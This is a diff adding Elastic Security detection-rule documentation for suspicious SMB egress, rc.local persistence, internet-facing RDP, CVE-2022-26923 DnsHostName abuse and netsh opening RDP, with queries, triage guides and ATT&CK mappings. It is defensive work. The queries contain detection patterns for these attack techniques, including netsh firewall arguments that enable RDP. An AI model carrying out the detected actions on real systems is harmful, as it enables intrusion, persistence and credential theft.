b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rare-smb-connection-to-the-internet.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-rare-smb-connection-to-the-internet]] +=== Rare SMB Connection to the Internet + +This rule detects rare internet network connections via the SMB protocol. SMB is commonly used to leak NTLM credentials via rogue UNC path injection. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.network-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.securify.nl/en/blog/living-off-the-land-stealing-netntlm-hashes/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Exfiltration +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Rare SMB Connection to the Internet* + + +Server Message Block (SMB) is a protocol used for sharing files and printers within a network. Adversaries exploit SMB to exfiltrate data by injecting rogue paths to capture NTLM credentials. The detection rule identifies unusual SMB traffic from internal IPs to external networks, flagging potential exfiltration attempts by monitoring specific ports and excluding known safe IP ranges. + + +*Possible investigation steps* + + +- Review the alert details to identify the internal source IP address involved in the SMB connection and verify if it belongs to a known or authorized device within the organization. +- Check the destination IP address to determine if it is associated with any known malicious activity or if it belongs to an external network that should not be receiving SMB traffic from internal systems. +- Investigate the process with PID 4 on the source host, which typically corresponds to the Windows System process, to identify any unusual activity or recent changes that could indicate compromise or misuse. +- Analyze network logs to trace the SMB traffic flow and identify any patterns or additional connections that may suggest data exfiltration attempts. +- Correlate the alert with other security events or logs from data sources like Microsoft Defender for Endpoint or Sysmon to gather additional context and determine if this is part of a larger attack campaign. +- Consult with the IT or network team to verify if there are any legitimate business reasons for the detected SMB traffic to the external network, and if not, consider blocking the connection and conducting a deeper investigation into the source host. + + +*False positive analysis* + + +- Internal network scanning tools may trigger alerts if they simulate SMB traffic to external IPs. Exclude IPs associated with these tools from the rule to prevent false positives. +- Legitimate business applications that require SMB connections to external cloud services might be flagged. Identify and whitelist these specific external IPs or domains to avoid unnecessary alerts. +- Backup solutions that use SMB for data transfer to offsite locations can be mistaken for exfiltration attempts. Ensure these backup service IPs are added to the exception list. +- Misconfigured network devices that inadvertently route SMB traffic externally could cause false alerts. Regularly audit and correct device configurations to minimize these occurrences. +- Security testing or penetration testing activities might generate SMB traffic to external IPs. Coordinate with security teams to temporarily disable the rule or add exceptions during testing periods. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further data exfiltration or lateral movement. +- Conduct a thorough review of the host's network connections and processes to identify any unauthorized SMB traffic or suspicious activities. +- Reset credentials for any accounts that may have been exposed or compromised, focusing on those with elevated privileges. +- Apply patches and updates to the affected system and any other vulnerable systems to mitigate known SMB vulnerabilities. +- Implement network segmentation to limit SMB traffic to only necessary internal communications, reducing the risk of external exposure. +- Enhance monitoring and logging for SMB traffic, particularly for connections to external IPs, to detect and respond to future anomalies more effectively. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +event.category:network and host.os.type:windows and process.pid:4 and + network.transport:tcp and destination.port:(139 or 445) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rc-local-rc-common-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rc-local-rc-common-file-creation.asciidoc new file mode 100644 index 0000000000..2dc1226a07 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rc-local-rc-common-file-creation.asciidoc @@ -0,0 +1,212 @@ +[[prebuilt-rule-8-19-20-rc-local-rc-common-file-creation]] +=== rc.local/rc.common File Creation + +This rule monitors the creation of the rc.local/rc.common files. The "/etc/rc.local" file is used to start custom applications, services, scripts or commands during start-up. The rc.local file has mostly been replaced by Systemd. However, through the "systemd-rc-local-generator", rc.local files can be converted to services that run at boot. Adversaries may alter rc.local/rc.common to execute malicious code at start-up, and gain persistence onto the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.intezer.com/blog/malware-analysis/hiddenwasp-malware-targeting-linux-systems/ +* https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/#8-boot-or-logon-initialization-scripts-rc-scripts +* https://www.cyberciti.biz/faq/how-to-enable-rc-local-shell-script-on-systemd-while-booting-linux-system/ +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 120 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating rc.local/rc.common File Creation* + + +The `rc.local` file executes custom commands or scripts during system startup on Linux systems. `rc.local` has been deprecated in favor of the use of `systemd services`, and more recent Unix distributions no longer leverage this method of on-boot script execution. + +There might still be users that use `rc.local` in a benign matter, so investigation to see whether the file is malicious is vital. + +Detection alerts from this rule indicate the creation of a new `/etc/rc.local` file. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the file that was created or modified. + - !{osquery{"label":"Osquery - Retrieve File Information","query":"SELECT * FROM file WHERE path = {{file.path}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate whether the `/lib/systemd/system/rc-local.service` and `/run/systemd/generator/multi-user.target.wants/rc-local.service` files were created through the `systemd-rc-local-generator` located at `/usr/lib/systemd/system-generators/systemd-rc-local-generator`. + - !{osquery{"label":"Osquery - Retrieve rc-local.service File Information","query":"SELECT * FROM file WHERE (path = '/run/systemd/generator/multi-user.target.wants/rc-local.service' OR path =\n'/run/systemd/generator/multi-user.target.wants/rc-local.service')\n"}} + - In case the file is not present here, `sudo systemctl status rc-local` can be executed to find the location of the rc-local unit file. + - If `rc-local.service` is found, manual investigation is required to check for the rc script execution. Systemd will generate syslogs in case of the execution of the rc-local service. `sudo cat /var/log/syslog | grep "rc-local.service|/etc/rc.local Compatibility"` can be executed to check for the execution of the service. + - If logs are found, it's likely that the contents of the `rc.local` file have been executed. Analyze the logs. In case several syslog log files are available, use a wildcard to search through all of the available logs. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate whether this activity is related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator who uses `rc.local` for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the `service/rc.local` files or restore their original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "creation" and +file.path in ("/etc/rc.local", "/etc/rc.common") and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/dev/fd/*", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/libexec/platform-python" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable : ( + "/nix/store/*", "/var/lib/dpkg/*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*" + ) or + process.executable == null or + process.name in ("ssm-agent-worker", "convert2rhel", "platform-python*") or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rdp-remote-desktop-protocol-from-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rdp-remote-desktop-protocol-from-the-internet.asciidoc new file mode 100644 index 0000000000..d2f651fdc8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rdp-remote-desktop-protocol-from-the-internet.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-20-rdp-remote-desktop-protocol-from-the-internet]] +=== RDP (Remote Desktop Protocol) from the Internet + +This rule detects network events that may indicate the use of RDP traffic from the Internet. RDP is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Command and Control +* Tactic: Lateral Movement +* Tactic: Initial Access +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating RDP (Remote Desktop Protocol) from the Internet* + + +RDP allows administrators to remotely manage systems, but exposing it to the internet poses security risks. Adversaries exploit RDP for unauthorized access, often using it as an entry point for attacks. The detection rule identifies suspicious RDP traffic by monitoring TCP connections on port 3389 from external IPs, flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the source IP address flagged in the alert to determine if it is known or associated with any previous malicious activity. Check threat intelligence sources for any reported malicious behavior. +- Analyze the destination IP address to confirm it belongs to your internal network (10.0.0.0/8, 172.16.0.0/12, or 192.168.0.0/16) and identify the specific system targeted by the RDP connection. +- Examine network logs for any unusual or unexpected RDP traffic patterns from the source IP, such as repeated connection attempts or connections at odd hours, which may indicate brute force attempts or unauthorized access. +- Check for any recent changes or updates to firewall rules or security policies that might have inadvertently exposed RDP to the internet. +- Investigate the user accounts involved in the RDP session to ensure they are legitimate and have not been compromised. Look for any signs of unauthorized access or privilege escalation. +- Correlate the RDP traffic with other security events or alerts to identify any potential lateral movement or further malicious activity within the network. + + +*False positive analysis* + + +- Internal testing or maintenance activities may trigger the rule if RDP is temporarily exposed to the internet. To manage this, create exceptions for known internal IP addresses or scheduled maintenance windows. +- Legitimate third-party vendors or partners accessing systems via RDP for support purposes can be mistaken for threats. Establish a list of trusted external IP addresses and exclude them from the rule. +- Misconfigured network devices or security tools might inadvertently expose RDP to the internet, leading to false positives. Regularly audit network configurations and update the rule to exclude known benign sources. +- Cloud-based services or remote work solutions that use RDP over the internet can be flagged. Identify and whitelist these services' IP ranges to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately block the external IP address identified in the alert from accessing the network to prevent further unauthorized RDP connections. +- Isolate the affected system from the network to contain any potential compromise and prevent lateral movement by the threat actor. +- Conduct a thorough review of the affected system for signs of compromise, such as unauthorized user accounts, changes in system configurations, or the presence of malware. +- Reset credentials for any accounts that were accessed or potentially compromised during the incident to prevent unauthorized access. +- Apply security patches and updates to the affected system and any other systems with RDP enabled to mitigate known vulnerabilities. +- Implement network segmentation to restrict RDP access to only trusted internal IP addresses and consider using a VPN for secure remote access. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +(event.dataset: network_traffic.flow or (event.category: (network or network_traffic))) and + network.transport:tcp and (destination.port:3389 or event.dataset:zeek.rdp) and + not source.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + destination.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-computer-account-dnshostname-update.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-computer-account-dnshostname-update.asciidoc new file mode 100644 index 0000000000..794d3506a7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-computer-account-dnshostname-update.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-20-remote-computer-account-dnshostname-update]] +=== Remote Computer Account DnsHostName Update + +Identifies the remote update to a computer account's DnsHostName attribute. If the new value set is a valid domain controller DNS hostname and the subject computer name is not a domain controller, then it's highly likely a preparation step to exploit CVE-2022-26923 in an attempt to elevate privileges from a standard domain user to domain admin privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4 +* https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-26923 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Use Case: Vulnerability +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Remote Computer Account DnsHostName Update* + + +In Active Directory environments, the DnsHostName attribute links computer accounts to their DNS names, crucial for network communication. Adversaries may exploit this by altering a non-domain controller's DnsHostName to mimic a domain controller, potentially exploiting vulnerabilities like CVE-2022-26923 for privilege escalation. The detection rule identifies suspicious changes by monitoring for remote updates to this attribute, especially when the new hostname resembles a domain controller's, flagging potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the event logs to confirm the occurrence of the "changed-computer-account" action, focusing on the user.id fields ("S-1-5-21-*", "S-1-12-1-*") to identify the user who initiated the change. +- Verify the new DnsHostName value against the list of legitimate domain controller DNS hostnames to assess if it matches any known domain controllers. +- Check the winlog.event_data.TargetUserName to ensure that the DnsHostName does not start with the computer name that was changed, which could indicate a false positive. +- Investigate the account associated with the user.id to determine if it has a history of suspicious activity or if it has been compromised. +- Examine recent changes or activities on the affected computer account to identify any unauthorized access or configuration changes. +- Correlate this event with other security alerts or logs to identify potential patterns or coordinated activities that might indicate a broader attack. + + +*False positive analysis* + + +- Routine maintenance or updates to computer accounts may trigger the rule if the DnsHostName is temporarily set to a domain controller-like name. To manage this, create exceptions for known maintenance periods or specific administrative accounts performing these updates. +- Automated scripts or tools that update computer account attributes might inadvertently match the rule's conditions. Identify and exclude these scripts or tools by their user IDs or specific patterns in their operations. +- Legitimate changes in network architecture, such as the promotion of a server to a domain controller, could be flagged. Ensure that such changes are documented and create exceptions for the involved accounts or systems during the transition period. +- Temporary testing environments where non-domain controllers are configured with domain controller-like hostnames for testing purposes can cause false positives. Exclude these environments by their specific hostnames or network segments. +- Regularly review and update the list of known domain controller hostnames to ensure that legitimate changes in the network are not mistakenly flagged as suspicious. + + +*Response and remediation* + + +- Immediately isolate the affected computer from the network to prevent further unauthorized changes or potential exploitation. +- Verify the legitimacy of the DnsHostName change by cross-referencing with known domain controller hostnames and authorized change requests. +- Revert any unauthorized changes to the DnsHostName attribute to its original state to restore proper network communication and prevent misuse. +- Conduct a thorough review of recent account activities and permissions for the user account involved in the change to identify any unauthorized access or privilege escalation attempts. +- Escalate the incident to the security operations team for further investigation and to assess potential exploitation of CVE-2022-26923 or other vulnerabilities. +- Implement additional monitoring on the affected system and similar systems to detect any further suspicious activities or attempts to exploit vulnerabilities. +- Review and update access controls and permissions for computer accounts in Active Directory to ensure only authorized personnel can make changes to critical attributes like DnsHostName. + +==== Rule query + + +[source, js] +---------------------------------- +iam where host.os.type == "windows" and event.action == "changed-computer-account" and + user.id : ("S-1-5-21-*", "S-1-12-1-*") and + + /* if DnsHostName value equal a DC DNS hostname then it's highly suspicious */ + winlog.event_data.DnsHostName : "??*" and + + /* exclude FPs where DnsHostName starts with the ComputerName that was changed */ + not startswith~(winlog.event_data.DnsHostName, substring(winlog.event_data.TargetUserName, 0, length(winlog.event_data.TargetUserName) - 1)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-desktop-enabled-in-windows-firewall-by-netsh.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-desktop-enabled-in-windows-firewall-by-netsh.asciidoc new file mode 100644 index 0000000000..950cbe785d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-remote-desktop-enabled-in-windows-firewall-by-netsh.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-remote-desktop-enabled-in-windows-firewall-by-netsh]] +=== Remote Desktop Enabled in Windows Firewall by Netsh + +Identifies use of the network shell utility (netsh.exe) to enable inbound Remote Desktop Protocol (RDP) connections in the Windows Firewall. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote Desktop Enabled in Windows Firewall by Netsh* + + +Microsoft Remote Desktop Protocol (RDP) is a proprietary Microsoft protocol that enables remote connections to other computers, typically over TCP port 3389. + +Attackers can use RDP to conduct their actions interactively. Ransomware operators frequently use RDP to access victim servers, often using privileged accounts. + +This rule detects the creation of a Windows Firewall inbound rule that would allow inbound RDP traffic using the `netsh.exe` utility. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the user to check if they are aware of the operation. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check whether it makes sense to enable RDP to this host, given its role in the environment. +- Check if the host is directly exposed to the internet. +- Check whether privileged accounts accessed the host shortly after the modification. +- Review network events within a short timespan of this alert for incoming RDP connection attempts. + + +*False positive analysis* + + +- The `netsh.exe` utility can be used legitimately. Check whether the user should be performing this kind of activity, whether the user is aware of it, whether RDP should be open, and whether the action exposes the environment to unnecessary risks. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- If RDP is needed, make sure to secure it: + - Allowlist RDP traffic to specific trusted hosts. + - Restrict RDP logins to authorized non-administrator accounts, where possible. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "netsh.exe" or ?process.pe.original_file_name == "netsh.exe") and + process.args : ("localport=3389", "RemoteDesktop", "group=\"remote desktop\"") and + process.args : ("action=allow", "enable=Yes", "enable") + +---------------------------------- + +*Framework*: 